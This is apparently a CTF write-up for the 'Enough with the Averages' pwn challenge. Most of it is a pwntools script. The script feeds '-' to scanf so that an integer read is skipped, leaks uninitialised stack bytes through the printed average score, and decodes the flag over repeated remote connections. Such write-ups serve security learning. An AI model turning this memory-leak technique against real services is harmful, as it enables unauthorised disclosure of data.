dplastico

Enough with the Averages

This is my script solution for the “Enough with the Averages” pwn challenge. It was an interesting challenge, and I spent a lot of time thinking it was an integer overflow. There’s probably a faster way to leak the flag, I believe there are also other possible solutions. In my case, the exploitation was possible because scanf skips characters when reading integers.

#!/usr/bin/python3
from pwn import *
gs = '''
b vuln
continue
'''
elf = context.binary = ELF('./chall')
context.terminal = ['tmux', 'splitw', '-hp', '70']

def start():
    if args.GDB:
        return gdb.debug('./chall', gdbscript=gs)
    if args.REMOTE:
        return remote('0.cloud.chals.io', 10198)
    else:
        return process('./chall')
r = start()
#========= exploit here ===================

def convert_leak(input_bytes):
    input_str = input_bytes.decode('utf-8')
    number = float(input_str)
    result = number * 20    
    int_result = int(result)    
    hex_result = hex(int_result)[2:]
    
    if len(hex_result) % 2 != 0:
        hex_result = '0' + hex_result
    
    byte_array = bytes.fromhex(hex_result)
    byte_array_reversed = byte_array[::-1]
    
    ascii_chars = []
    for byte in byte_array_reversed:
        char = chr(byte)
        if char.isprintable():
            ascii_chars.append(char)
        else:
            ascii_chars.append('?')  # Use '?' for non-printable characters
    
    return ''.join(ascii_chars)

leak_list = []

range1 = 4
range2 = 15

for j in range(15):

    r = remote('0.cloud.chals.io', 10198)
    log.info(f"interation {j}")

    score = 0

    for i in range(range1):
        r.sendlineafter(b"Enter score for player", f"{score}".encode('ascii'))

    r.sendlineafter(b"Enter score for player", b"-")
    #r.sendlineafter(b"Enter score for player", b"-")

    for i in range(range2):
        r.sendlineafter(b"Enter score for player", f"{score}".encode('ascii'))

    r.recvuntil(b"Average score is ")
    leak = r.recvline().strip()
    leak = leak[:-1]

    leak1 = convert_leak(leak)
    leak_list.append(leak1)
    log.info(f"leaking = {leak1}")

    range1 += 1
    range2 -= 1

    r.close()

log.info(f"flag = {''.join(leak_list)}")